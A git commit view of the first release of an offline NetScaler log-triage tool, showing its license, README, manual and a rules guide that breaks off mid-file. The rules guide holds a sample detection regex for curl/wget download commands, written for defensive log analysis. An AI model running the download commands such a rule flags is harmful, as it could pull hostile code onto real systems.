Initial release: offline NetScaler triage with Sigma rules and MIT license
This commit is contained in:
commit
711c42b270
52 files changed
+61222
No files matched your search
+12
@@ -0,0 +1,12 @@
|
|||||||
|
.venv/
|
||||||
|
.runtime/
|
||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
.ruff_cache/
|
||||||
|
results/
|
||||||
|
dist/
|
||||||
|
*.egg-info/
|
||||||
|
*.log
|
||||||
|
private/
|
||||||
|
.mypy_cache/
|
||||||
|
.DS_Store
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
3.14.8
|
||||||
+21
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2026 NetScaler Triage contributors
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
@@ -0,0 +1,149 @@
|
|||||||
|
# NetScaler Triage
|
||||||
|
|
||||||
|
Offline forensic triage for Citrix NetScaler ADC and Gateway logs. Point it at a
|
||||||
|
folder or archive to find suspicious requests, public indicators, encoded
|
||||||
|
payloads, update records and related events across logs.
|
||||||
|
|
||||||
|
Original inputs are not modified. Payloads are decoded as data, never executed
|
||||||
|
or downloaded. A finding is an investigation lead, **not proof of compromise**.
|
||||||
|
|
||||||
|
## Quick start
|
||||||
|
|
||||||
|
Requires **Python 3.14 or newer**.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
git clone https://tea.karlcom.de/karl/NetScaler_forensik.git
|
||||||
|
cd NetScaler_forensik
|
||||||
|
python3 -m venv .venv
|
||||||
|
source .venv/bin/activate
|
||||||
|
python -m pip install .
|
||||||
|
netscaler-triage ./logs.7z
|
||||||
|
```
|
||||||
|
|
||||||
|
On Windows PowerShell, create and activate the environment with:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
py -3.14 -m venv .venv
|
||||||
|
.venv\Scripts\Activate.ps1
|
||||||
|
python -m pip install .
|
||||||
|
netscaler-triage .\logs.7z
|
||||||
|
```
|
||||||
|
|
||||||
|
Installation may require internet access. Analysis runs offline.
|
||||||
|
|
||||||
|
## Everyday use
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# Unpacked logs, an archive, or multiple appliance exports
|
||||||
|
netscaler-triage ./logs
|
||||||
|
netscaler-triage export.tar.gz
|
||||||
|
netscaler-triage ./appliance-a ./appliance-b export.zip
|
||||||
|
|
||||||
|
# Discover inputs in the current directory
|
||||||
|
netscaler-triage
|
||||||
|
|
||||||
|
# Encrypted archive: prompt for a password without displaying it
|
||||||
|
netscaler-triage export.7z --password
|
||||||
|
```
|
||||||
|
|
||||||
|
ZIP (including ZipCrypto/AES), TAR, TAR.GZ/TGZ, GZIP and 7z inputs are supported,
|
||||||
|
including nested archives within preparation limits. Unsupported formats are
|
||||||
|
reported. `--password VALUE` is also supported, but can expose the password in
|
||||||
|
shell history or process listings. Passwords are not stored in results.
|
||||||
|
|
||||||
|
The tool prints the result directory. Use `--output PATH` to choose a new one;
|
||||||
|
existing results are not overwritten. Appliance grouping is inferred from
|
||||||
|
directories; review the preparation manifest for unusual export layouts.
|
||||||
|
|
||||||
|
## Read the results
|
||||||
|
|
||||||
|
| File | Purpose |
|
||||||
|
| --- | --- |
|
||||||
|
| `summary.json` | Processing status, counts and incomplete coverage |
|
||||||
|
| `findings.jsonl` | Events, source lines, matching rules and decoding explanations |
|
||||||
|
| `IOCS.csv` | Exact SIEM search values and separate defanged display values |
|
||||||
|
| `updates.jsonl` | Installation and software-version evidence |
|
||||||
|
| `correlations.jsonl` | Related events on the same appliance; temporal candidates, not causal proof |
|
||||||
|
| `coverage.json` | Per-file coverage and errors |
|
||||||
|
| `input_manifest.json` | Original relative paths and SHA-256 checksums |
|
||||||
|
| `preparation_manifest.json` | Archive preparation and appliance grouping |
|
||||||
|
|
||||||
|
The output also includes an SQLite event index, effective configuration and
|
||||||
|
indicator/hash hit files. JSONL contains one JSON object per line. URL/Base64
|
||||||
|
decoding retains original values, transformation steps, checksums and errors.
|
||||||
|
An installer command alone does not establish successful patch completion.
|
||||||
|
|
||||||
|
## Add indicators and Sigma rules
|
||||||
|
|
||||||
|
Put your packs in a directory and validate them before scanning:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
netscaler-triage rules --config ./my-rules
|
||||||
|
netscaler-triage ./logs --config ./my-rules
|
||||||
|
```
|
||||||
|
|
||||||
|
Directories load Sigma YAML, JSON, CSV and TXT recursively. Repeat `--config`
|
||||||
|
to combine packs. No Python changes are needed to add an IP, path or rule.
|
||||||
|
For example, an IOC CSV can contain:
|
||||||
|
|
||||||
|
```csv
|
||||||
|
type,value,status,source,description
|
||||||
|
ipv4,192.0.2.42,reference_only,local-review,Investigate matching events
|
||||||
|
path,/example/suspicious-file,reference_only,local-review,Check file context
|
||||||
|
```
|
||||||
|
|
||||||
|
These are synthetic examples. Use original, non-defanged values for matching.
|
||||||
|
TXT accepts one value per line; unambiguous IP addresses, SHA-256 hashes, URLs
|
||||||
|
and Unix paths are inferred. Other values remain literal strings.
|
||||||
|
|
||||||
|
Sigma is parsed with pySigma and evaluated locally using the subset documented
|
||||||
|
in [RULES.txt](RULES.txt). Unsupported features fail explicitly. Sigma metadata
|
||||||
|
does not bypass detection conditions. Rule packs are data, not executable plugins.
|
||||||
|
|
||||||
|
Defaults include 47 Sigma rules and 246 public reference indicators. Attribution
|
||||||
|
and limitations are recorded in [THREAT_INTELLIGENCE.txt](THREAT_INTELLIGENCE.txt)
|
||||||
|
and [config/threat_intel.json](config/threat_intel.json). This is a dated reference
|
||||||
|
collection, not a promise of exhaustive intelligence or zero false positives.
|
||||||
|
|
||||||
|
Keep confidential packs in `private/`, excluded from Git and release archives.
|
||||||
|
Load them explicitly. Never put customer logs or generated findings in a public
|
||||||
|
repository. Examples under [examples/](examples/) use synthetic data.
|
||||||
|
|
||||||
|
## Limits and interpretation
|
||||||
|
|
||||||
|
- Exit `0`: configured processing completed; **not** a clean-system verdict.
|
||||||
|
- Exit `2`: an error or incomplete processing; inspect `summary.json`.
|
||||||
|
- Missing years/timezones are not guessed. See [README.txt](README.txt) for time configuration.
|
||||||
|
- Binary appliance logs may need an external decoder. Decode failures can also come from ordinary text.
|
||||||
|
- Damaged inputs and regex timeouts are reported. Archive path traversal, unsafe links and exhausted quotas stop preparation.
|
||||||
|
- Processing uses one worker, incremental reads and disk-backed SQLite. There is no hard process-wide RAM/CPU quota or automatic resume.
|
||||||
|
- Default limits: 2 GiB preparation budget, 100,000 archive entries, depth 3, 1 MiB per line and 512 MiB expanded per log file. Advanced options can raise limits.
|
||||||
|
|
||||||
|
Tests were executed on macOS/ARM64. Windows and Linux instructions are provided,
|
||||||
|
but those platforms have not yet been validated in the recorded test environment.
|
||||||
|
|
||||||
|
## Help and development
|
||||||
|
|
||||||
|
```sh
|
||||||
|
netscaler-triage --help
|
||||||
|
netscaler-triage scan --help-all
|
||||||
|
netscaler-triage decode payload.txt
|
||||||
|
netscaler-triage inventory ./logs
|
||||||
|
|
||||||
|
uv sync --locked
|
||||||
|
uv run python -W error -m unittest discover -s tests
|
||||||
|
uv run mypy
|
||||||
|
uv run ruff check src tests typing_stubs
|
||||||
|
uv run ruff format --check src tests typing_stubs
|
||||||
|
uv build
|
||||||
|
```
|
||||||
|
|
||||||
|
See [README.txt](README.txt) for the detailed plain-text manual and
|
||||||
|
[VALIDATION.txt](VALIDATION.txt) for test scope and known coverage limits.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
Project code is licensed under the [MIT License](LICENSE.txt).
|
||||||
|
Third-party dependencies and referenced external materials retain their own
|
||||||
|
licenses. Source attribution does not imply affiliation with Citrix or the
|
||||||
|
referenced researchers, and does not relicense their original publications.
|
||||||
+190
@@ -0,0 +1,190 @@
|
|||||||
|
NETSCALER TRIAGE
|
||||||
|
|
||||||
|
Offline log triage for NetScaler ADC and Gateway.
|
||||||
|
Give it a log folder or archive. It prepares the input, searches for suspicious
|
||||||
|
patterns and public indicators, explains matching rules and decoded command text,
|
||||||
|
finds update/version records, and links related events on the same appliance.
|
||||||
|
Original files are not modified. Payloads are never executed or fetched.
|
||||||
|
|
||||||
|
INSTALL
|
||||||
|
|
||||||
|
Requires Python 3.14 or newer. From the unpacked source folder, on macOS/Linux:
|
||||||
|
python3 -m venv .venv
|
||||||
|
source .venv/bin/activate
|
||||||
|
|
||||||
|
Or on Windows PowerShell:
|
||||||
|
py -m venv .venv
|
||||||
|
.venv\Scripts\Activate.ps1
|
||||||
|
|
||||||
|
Then install the local project:
|
||||||
|
python -m pip install .
|
||||||
|
|
||||||
|
A built wheel can instead be installed with python -m pip install PATH_TO_WHEEL.
|
||||||
|
For a locked developer installation, use uv sync --locked with a suitable
|
||||||
|
installed Python interpreter. The lockfile records exact dependency versions.
|
||||||
|
Installation may need internet access; analysis itself runs offline.
|
||||||
|
|
||||||
|
START HERE
|
||||||
|
|
||||||
|
netscaler-triage logs.7z
|
||||||
|
|
||||||
|
Or use an unpacked folder:
|
||||||
|
netscaler-triage ./logs
|
||||||
|
|
||||||
|
Or run inside the folder containing your logs:
|
||||||
|
netscaler-triage
|
||||||
|
|
||||||
|
ZIP, TAR, TAR.GZ/TGZ, GZIP and 7z are detected automatically, including nested
|
||||||
|
archives. Unsupported formats are reported. Several inputs can be combined:
|
||||||
|
netscaler-triage ./appliance-a ./appliance-b another-export.zip
|
||||||
|
|
||||||
|
The result folder is created automatically and printed when the run finishes.
|
||||||
|
--output PATH chooses a new result folder. Existing results are never overwritten.
|
||||||
|
Appliance groups are inferred from folder structure; review the preparation
|
||||||
|
manifest when a combined export has an unusual layout.
|
||||||
|
|
||||||
|
For an encrypted archive, request a hidden password prompt:
|
||||||
|
netscaler-triage logs.7z --password
|
||||||
|
|
||||||
|
--password VALUE also works, but may expose the password in shell history or
|
||||||
|
process listings. The same password is used for nested archives. 7z, ZipCrypto
|
||||||
|
and AES-ZIP are supported. Passwords are not saved in results.
|
||||||
|
|
||||||
|
WHAT TO READ FIRST
|
||||||
|
|
||||||
|
summary.json tells you what was processed and whether anything was incomplete.
|
||||||
|
findings.jsonl contains selected events, original source/line references, matching
|
||||||
|
rule details, extracted indicators and safe decoding steps with explanations.
|
||||||
|
Each line is a separate JSON object. Explanations describe what command text
|
||||||
|
could do; they do not establish that it ran successfully.
|
||||||
|
|
||||||
|
IOCS.csv contains exact values for SIEM searches and a separate defanged display
|
||||||
|
value. Observed values are candidates, not an automatic blocklist.
|
||||||
|
updates.jsonl contains update/version evidence. An installer command is not by
|
||||||
|
itself proof of a completed patch. correlations.jsonl contains temporal candidates
|
||||||
|
between log files on the same appliance, not proof of causation.
|
||||||
|
|
||||||
|
Other outputs support verification:
|
||||||
|
evidence.sqlite On-disk event index
|
||||||
|
coverage.json Per-file coverage and read/matching errors
|
||||||
|
input_manifest.json Original relative paths and SHA-256 checksums
|
||||||
|
configuration.json Effective rules, references and time assumptions
|
||||||
|
indicator_hits.csv Matches against configured reference indicators
|
||||||
|
file_hash_hits.json Reference matches against original file SHA-256
|
||||||
|
preparation_manifest.json Preparation actions, groups and exclusions
|
||||||
|
inputs/ Prepared inputs when automatic preparation runs
|
||||||
|
|
||||||
|
URL/Base64 transformations retain the original value, transformation, parent
|
||||||
|
step, decoded result or error, and checksum. Binary decoded content is displayed
|
||||||
|
as hex and is not executed. Finding rule_details retain matching rule descriptions
|
||||||
|
and source metadata; custom packs can provide their own explanations.
|
||||||
|
|
||||||
|
ADD YOUR OWN RULES OR IOCS
|
||||||
|
|
||||||
|
Bundled public references are loaded automatically. They are a dated, attributed
|
||||||
|
collection, not a claim to cover every known attack. No private case addresses,
|
||||||
|
appliance identities or environment-specific assumptions are included in defaults.
|
||||||
|
References are not downloaded during a scan.
|
||||||
|
|
||||||
|
netscaler-triage ./logs --config examples/rules.yml
|
||||||
|
netscaler-triage ./logs --ioc-file indicators.txt
|
||||||
|
netscaler-triage ./logs --pattern "(?i)your_search_expression"
|
||||||
|
|
||||||
|
Repeat --config or --ioc-file to combine packs. An explicit --config directory
|
||||||
|
loads supported packs recursively in sorted relative-path order; no private or
|
||||||
|
customer directory is loaded unless you select it.
|
||||||
|
|
||||||
|
netscaler-triage ./logs --config ./my-rules
|
||||||
|
Sigma YAML is the primary rule
|
||||||
|
format, parsed with pySigma and evaluated locally with the supported subset in
|
||||||
|
RULES.txt. Unsupported features are rejected explicitly. Defaults include 47
|
||||||
|
Sigma rules and 246 deduplicated public reference indicators.
|
||||||
|
THREAT_INTELLIGENCE.txt indexes all 52 sources, uses and limitations;
|
||||||
|
config/threat_intel.json is the complete machine-readable inventory.
|
||||||
|
|
||||||
|
JSON, CSV and one reference per line in TXT remain supported. TXT infers clear
|
||||||
|
IP addresses, SHA-256 hashes, HTTP(S) URLs and absolute Unix paths; other text
|
||||||
|
stays literal. Explicit CSV/JSON types are unchanged. An exported IOCS.csv
|
||||||
|
can be loaded again. Examples contain synthetic values, not real intelligence.
|
||||||
|
Keep local case rules under private/, which is gitignored and excluded from
|
||||||
|
release builds; load them explicitly with --config private/your_rules.yml.
|
||||||
|
Private packs are never discovered or enabled automatically.
|
||||||
|
Example files are included in the source release.
|
||||||
|
Rule packs are data files. Python plugin code is not loaded from them.
|
||||||
|
|
||||||
|
TIME AND DEVICE IDENTITY
|
||||||
|
|
||||||
|
Explicit timestamps are retained. A missing year or timezone is not guessed.
|
||||||
|
For known time settings and explicit appliance names on prepared folders:
|
||||||
|
netscaler-triage scan --input ADC-A=./logs --year 2026 --timezone ADC-A=UTC
|
||||||
|
|
||||||
|
Use your actual device settings; UTC and the year above are examples only.
|
||||||
|
Ambiguous daylight-saving times remain unresolved. Time assumptions and per-file
|
||||||
|
year overrides can be supplied using --time-config; see examples/time.json.
|
||||||
|
|
||||||
|
LIMITS AND INCOMPLETE RESULTS
|
||||||
|
|
||||||
|
Exit 0 means the configured processing completed, not that the appliance is clean.
|
||||||
|
Exit 2 means an error or incomplete processing; inspect summary.json.
|
||||||
|
Invalid decoding candidates may be ordinary text, not malicious payloads.
|
||||||
|
Unknown text formats remain searchable, even if no timestamp is parsed.
|
||||||
|
Proprietary binary logs require an appropriate external decoder.
|
||||||
|
|
||||||
|
Unreadable files, damaged archives and regex timeouts are recorded while other
|
||||||
|
valid inputs continue. Path traversal, unsafe links and exhausted archive quotas
|
||||||
|
stop preparation. A controlled interruption preserves the processed database
|
||||||
|
where possible. There is no automatic resume after interruption.
|
||||||
|
|
||||||
|
A single worker reads lines incrementally. SQLite stores events and large sorts
|
||||||
|
on disk; small decoding caches are bounded. One CPU core can be busy. This is not
|
||||||
|
a hard process-wide RAM or CPU quota: archive metadata, large rule lists and file
|
||||||
|
inventories need additional memory. Allow disk space for preparation and results.
|
||||||
|
|
||||||
|
Defaults: 2 GiB preparation budget, 100,000 archive entries, nesting depth 3,
|
||||||
|
1 MiB per line and 512 MiB expanded per log file. Limits never mean a silent
|
||||||
|
successful scan. Advanced options can raise them for legitimate larger inputs.
|
||||||
|
|
||||||
|
HELP AND OPTIONAL COMMANDS
|
||||||
|
|
||||||
|
netscaler-triage --help
|
||||||
|
netscaler-triage scan --help-all
|
||||||
|
netscaler-triage extract logs.7z prepared
|
||||||
|
netscaler-triage decode payload.txt
|
||||||
|
netscaler-triage indicators text.txt
|
||||||
|
netscaler-triage inventory ./logs
|
||||||
|
|
||||||
|
Short help shows common options. Advanced help includes resource limits, time
|
||||||
|
assumptions and --no-default-patterns, which disables built-in rules and bundled
|
||||||
|
public references; explicitly supplied packs still apply.
|
||||||
|
|
||||||
|
DEVELOPMENT AND RELEASE
|
||||||
|
|
||||||
|
uv run python -W error -m unittest discover -s tests
|
||||||
|
uv run mypy
|
||||||
|
uv run ruff check src tests typing_stubs
|
||||||
|
uv run ruff format --check src tests typing_stubs
|
||||||
|
uv build
|
||||||
|
|
||||||
|
Synthetic tests cover parsing, archive safety, decoding, matching, correlations
|
||||||
|
and packaging hygiene. VALIDATION.txt records what was actually tested. Runtime
|
||||||
|
environments and analysis outputs are not release files. Source distributions
|
||||||
|
use an explicit allowlist to avoid bundling unrelated documents or case settings.
|
||||||
|
|
||||||
|
LICENSE
|
||||||
|
|
||||||
|
Project code is licensed under the MIT License; see LICENSE.txt.
|
||||||
|
Third-party dependencies and referenced external materials retain their own
|
||||||
|
licenses. The project does not relicense original external publications.
|
||||||
|
|
||||||
|
VALIDATE PACKS BEFORE A SCAN
|
||||||
|
|
||||||
|
netscaler-triage rules --config ./my-rules
|
||||||
|
|
||||||
|
This offline command loads and compiles the bundled defaults and selected packs,
|
||||||
|
then prints the Sigma rule, regex rule and explicit active indicator counts. It
|
||||||
|
does not prepare or scan logs, contact external services or create artifacts.
|
||||||
|
Use --no-default-patterns to validate only the selected files; --json gives a
|
||||||
|
machine-readable result. Invalid Sigma, unsupported rules and conflicting rule
|
||||||
|
identifiers fail validation. Syntax validation does not prove detection quality.
|
||||||
|
Directory discovery skips README.txt, LICENSE.txt and CHANGELOG.txt documents
|
||||||
|
(case-insensitive); an explicitly named TXT file still loads as references using TXT type inference.
|
||||||
@@ -0,0 +1,247 @@
|
|||||||
|
RULE PACKS AND IOC LISTS
|
||||||
|
|
||||||
|
A pack is loaded with --config; repeat the option to combine packs. Matching is
|
||||||
|
offline. YAML files are genuine Sigma detection rules parsed by official pySigma.
|
||||||
|
The local evaluator supports the explicit subset below, not full Sigma semantics.
|
||||||
|
JSON, CSV and TXT remain supported as described in LEGACY JSON PACKS below.
|
||||||
|
|
||||||
|
Bundled data/public_sigma.yml provides 47 rules: 41 behavior rules and six IOC
|
||||||
|
groups containing 246 attributed public references. These are not local findings.
|
||||||
|
Use --no-default-patterns to disable bundled defaults. Private packs are opt-in;
|
||||||
|
keep them in the ignored private/ directory and load them explicitly:
|
||||||
|
|
||||||
|
netscaler-triage ./logs --config examples/rules.yml
|
||||||
|
netscaler-triage ./logs --config private/rules.yml --config private/more-rules.yml
|
||||||
|
|
||||||
|
SUPPORTED SIGMA SUBSET
|
||||||
|
|
||||||
|
examples/rules.yml is a synthetic example with a UUID and provenance. Separate
|
||||||
|
rules with ---. IDs, or titles when IDs are absent, must be unique within a pack.
|
||||||
|
Use stable unique IDs across packs. Rules supply detections, not executable code.
|
||||||
|
|
||||||
|
Required logsource product: netscaler. Optional service must equal the normalized
|
||||||
|
event kind: http_access, http_error, syslog, shell_log or unknown. Omit service to
|
||||||
|
include all kinds. Other products, categories, custom logsource attributes and
|
||||||
|
custom taxonomies are rejected. A descriptive definition adds no filtering logic.
|
||||||
|
|
||||||
|
Supported detection semantics:
|
||||||
|
Keyword lists: substring matching against raw; list entries use OR.
|
||||||
|
Field maps: fields use AND; values in a list normally use OR.
|
||||||
|
Strings: case-insensitive; * and ? are Sigma wildcards with standard literal
|
||||||
|
wildcard escaping. Field strings match the complete field value.
|
||||||
|
Modifiers: contains, startswith, endswith, re and all, including combinations
|
||||||
|
accepted by pySigma. all requires every listed value to match.
|
||||||
|
Regex: search semantics; case-sensitive unless inline flags such as (?i)
|
||||||
|
change it. The configured regex timeout applies.
|
||||||
|
Null: matches a missing or null field. Numeric/Boolean comparisons preserve
|
||||||
|
value types; integer 200 and string "200" differ.
|
||||||
|
Conditions: and, or, not, parentheses, 1 of and all of selector patterns or
|
||||||
|
them. A list of conditions is evaluated with OR.
|
||||||
|
|
||||||
|
Unsupported rules fail at loading, without silent reinterpretation. Rejected
|
||||||
|
constructs include aggregation, Sigma correlation rules, filters, collection
|
||||||
|
actions, timeframe, backend pipelines, placeholders and modifiers such as cidr,
|
||||||
|
exists, base64, fieldref or cased. This evaluator does not generate SIEM queries.
|
||||||
|
The separate event correlation stage does not implement Sigma correlation rules.
|
||||||
|
|
||||||
|
NORMALIZED FIELDS AND DECODED VIEWS
|
||||||
|
|
||||||
|
Parsed fields are flattened, then top-level event metadata is overlaid. Names are
|
||||||
|
case-insensitive. Common fields, available only when present in the input, are:
|
||||||
|
raw, kind, appliance, source, line, timestamp
|
||||||
|
source_ip, uri, user_agent, method, protocol, status, bytes, referer
|
||||||
|
session_id, transaction_id, request_id, context, return_code, command_status
|
||||||
|
sha256
|
||||||
|
|
||||||
|
source is the relative log filename. src/client_ip alias source_ip; _raw/message
|
||||||
|
alias raw. HTTP status is an integer. sha256 is a list of hashes of successfully
|
||||||
|
transformed payload bytes; it is not evidence of execution. List-valued string
|
||||||
|
fields match if any item matches. Other field names can be matched when supplied
|
||||||
|
by a caller, but are not automatically extracted. Decoded SHA-1 and MD5 fields
|
||||||
|
are not calculated by the engine. Missing fields are not invented.
|
||||||
|
|
||||||
|
Sigma is evaluated once per event against its original view and available
|
||||||
|
successfully decoded text views. Decoded views replace raw only, never uri,
|
||||||
|
user_agent, source_ip or other structured fields. A rule can therefore combine
|
||||||
|
decoded content with the original request context and explicit exclusions.
|
||||||
|
|
||||||
|
rule_details preserves ID/name/title/description/references/level/falsepositives,
|
||||||
|
source and basis. raw identifies the original event view, including structured
|
||||||
|
fields. For decoded:N, sigma_decoded_views[N] identifies the corresponding entry
|
||||||
|
in the event's decoding list. Structured-only matches are not attributed to
|
||||||
|
unrelated decoded views. A matching view is not evidence that a payload ran.
|
||||||
|
|
||||||
|
Optional custom indicators metadata contains type/value/status plus provenance.
|
||||||
|
It is retained only as provenance, not as unconditional IOC checks. To activate
|
||||||
|
an independent indicator, provide an explicit CSV, TXT or JSON indicator pack.
|
||||||
|
This prevents catalog values from bypassing a Sigma condition. Catalog arrays
|
||||||
|
are excluded from each hit's custom_attributes to avoid repeated large exports.
|
||||||
|
Metadata does not replace the actual Sigma detection/condition definition.
|
||||||
|
|
||||||
|
LIMITS AND COVERAGE
|
||||||
|
|
||||||
|
Per YAML file: 4 MiB UTF-8 input, at most 256 documents, bounded token count,
|
||||||
|
32 nesting levels and 10,000 nodes per compiled condition. Anchors, aliases,
|
||||||
|
custom YAML tags and duplicate mapping keys are rejected. Unsupported rules
|
||||||
|
cause a startup error. Per event: at most 64 decoded views and 1,048,576 characters
|
||||||
|
per evaluated string field or decoded view, in addition to ingestion byte limits.
|
||||||
|
Referenced list fields are limited to 10,000 elements. Unreferenced metadata is
|
||||||
|
not evaluated. Sigma IDs must be unique across all selected packs.
|
||||||
|
Timeouts and SigmaEvaluationLimit preserve the affected event, record incomplete
|
||||||
|
matching, mark coverage partial and allow later records to be processed. They are
|
||||||
|
neither negative findings nor proof of attacks.
|
||||||
|
|
||||||
|
Custom metadata repeated per hit is limited to 16 KiB serialized JSON. Each rule
|
||||||
|
may provide at most 10,000 catalog rows, each limited to 128 KiB; type/value strings
|
||||||
|
are limited to 65,536 characters. Pack-size limits also apply.
|
||||||
|
|
||||||
|
Sigma references:
|
||||||
|
https://sigmahq.io/sigma-specification/specification/sigma-rules-specification.html
|
||||||
|
https://sigmahq-pysigma.readthedocs.io/en/latest/reference/collection.html
|
||||||
|
|
||||||
|
LEGACY JSON PACKS
|
||||||
|
|
||||||
|
A UTF-8 JSON pack may contain patterns and indicators. Bundled defaults still
|
||||||
|
apply unless explicitly disabled. The following address is documentation-only.
|
||||||
|
|
||||||
|
Minimal example:
|
||||||
|
|
||||||
|
{
|
||||||
|
"patterns": [
|
||||||
|
{
|
||||||
|
"id": "custom_download_command",
|
||||||
|
"pattern": "(?i)\\b(?:curl|wget)\\s+https?://",
|
||||||
|
"description": "A download command appears in the log. Verify its arguments, origin and whether it executed."
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"indicators": [
|
||||||
|
{"type": "ipv4", "value": "192.0.2.42", "status": "reference_only"}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
The address is a documentation example, not an attack indicator.
|
||||||
|
A complete synthetic pack is available in examples/rules.json.
|
||||||
|
|
||||||
|
PATTERNS
|
||||||
|
|
||||||
|
patterns is a list of objects with pattern (a regex) and an optional stable id.
|
||||||
|
description explains why a match may matter without claiming an attack succeeded.
|
||||||
|
source/source_id/sources can identify provenance. Use distinct IDs across packs.
|
||||||
|
Matched rule metadata is retained in rule_details, including matches after safe
|
||||||
|
decoding. Keep rules specific: broad matches on ordinary IPs or login messages
|
||||||
|
can create large, low-value result sets. Inline flags such as (?i) control case.
|
||||||
|
Regex timeouts mean incomplete checks, not negative results.
|
||||||
|
|
||||||
|
INDICATORS
|
||||||
|
|
||||||
|
indicators is a list with type, value and optional status and source.
|
||||||
|
Common types: ipv4, ipv6, domain, url, path, sha256 and literal. Use original values,
|
||||||
|
not defanged display strings. IP boundaries are checked. SHA-256 values are checked
|
||||||
|
against original file bytes and successfully decoded bytes, as well as log text.
|
||||||
|
Other hash-shaped text can be extracted; file hashing computes SHA-256 only.
|
||||||
|
|
||||||
|
Status records context; it does not suppress the source event:
|
||||||
|
reference_only Published or supplied reference, not a local verdict
|
||||||
|
authorized_test An explicitly identified permitted test
|
||||||
|
context_only Environment/context value, not automatically hostile
|
||||||
|
|
||||||
|
Document sources in a top-level sources list with id, title and url. Preserve
|
||||||
|
dates, attribution and uncertainty. A reference match is a lead; establish its
|
||||||
|
local role from the actual log fields.
|
||||||
|
|
||||||
|
OTHER INPUT FORMATS
|
||||||
|
|
||||||
|
TXT: one reference per line; blank lines and lines starting with # are ignored.
|
||||||
|
Unambiguous IPv4/IPv6 addresses, 64-digit hexadecimal SHA-256 hashes, HTTP(S)
|
||||||
|
URLs and whitespace-free absolute Unix paths receive their matching type. IP
|
||||||
|
boundaries then prevent 192.0.2.1 from matching 192.0.2.10. Other text, including
|
||||||
|
multiword commands, stays literal. CSV/JSON explicit types remain unchanged.
|
||||||
|
CSV: type,value,status, or indicator_type,indicator,status. The tool's IOCS.csv
|
||||||
|
output can be used directly. A legacy ip column is also accepted.
|
||||||
|
Legacy rule CSV: ID,Muster, where Muster contains the regex expression.
|
||||||
|
JSON: the pack object above, or a list of pattern objects.
|
||||||
|
|
||||||
|
TIME CONFIGURATION
|
||||||
|
|
||||||
|
--time-config accepts JSON with year, timezones and file_years. timezones maps
|
||||||
|
explicit appliance labels to IANA timezones. file_years maps APPLIANCE/relative/log
|
||||||
|
to a year when a specific yearless file needs an override. Example:
|
||||||
|
|
||||||
|
{
|
||||||
|
"year": 2026,
|
||||||
|
"timezones": {"ADC-A": "UTC"},
|
||||||
|
"file_years": {"ADC-A/messages.previous": 2025}
|
||||||
|
}
|
||||||
|
|
||||||
|
These values are examples, not inferred settings. Explicit timestamps take
|
||||||
|
precedence. Choose assumptions based on the actual evidence.
|
||||||
|
|
||||||
|
PUBLIC INTELLIGENCE PROVENANCE
|
||||||
|
|
||||||
|
The bundled threat_intel.json is the canonical inventory. Indicators are unique
|
||||||
|
by type and normalized value, with stable IDs. source_ids/source_urls enumerate
|
||||||
|
all reporting sources; observations retain each source's role, confidence, dates,
|
||||||
|
original status and any MISP direction/to_ids conflicts. The source field can
|
||||||
|
contain multiple source IDs after deduplication. Reference-only matching does
|
||||||
|
not turn shared infrastructure, scanner markers or historical IOCs into confirmed
|
||||||
|
attackers. context_only and observation_category retain those distinctions.
|
||||||
|
|
||||||
|
Sources list retrieval attempts, requested URLs, access limitations and linked
|
||||||
|
indicator/rule IDs. Excluded observables and external whole-file YARA libraries
|
||||||
|
remain inventoried with reasons, without claiming equivalent Sigma coverage.
|
||||||
|
THREAT_INTELLIGENCE.txt provides the readable index.
|
||||||
|
|
||||||
|
Percent decoding, Base64 (including padding-free candidates) and nested layers
|
||||||
|
feed both IOC and Sigma matching. Raw records remain unchanged. The candidate
|
||||||
|
gate uses encoding evidence; arbitrary obfuscation is not exhaustively decoded.
|
||||||
|
A plain indicator match, a decoded byte hash and a source-file hash are different
|
||||||
|
evidence types. Do not interpret a textual pathname as proof that a file exists.
|
||||||
|
|
||||||
|
ADDING RULES WITHOUT CHANGING CODE
|
||||||
|
|
||||||
|
Create a directory such as my-rules and put Sigma YAML, JSON, CSV or TXT packs
|
||||||
|
inside it. Load it explicitly:
|
||||||
|
netscaler-triage ./logs --config ./my-rules
|
||||||
|
Repeat --config for additional files or directories. Directory discovery is
|
||||||
|
recursive and sorted by relative filename; repeated identical files load once.
|
||||||
|
Hidden entries, __pycache__ and node_modules directories are ignored. Symlinks
|
||||||
|
are rejected. Unsupported file extensions inside a directory are ignored.
|
||||||
|
An empty directory or a malformed supported pack produces a named error.
|
||||||
|
Discovery is bounded to 64 files, 4096 directories and 32 nested levels. Each
|
||||||
|
Sigma file is limited to 4 MiB; other formats to 16 MiB; the total is 32 MiB.
|
||||||
|
No customer or private pack is activated automatically.
|
||||||
|
|
||||||
|
For exact IP or path references, create my-rules/local.csv:
|
||||||
|
type,value,status,source,description
|
||||||
|
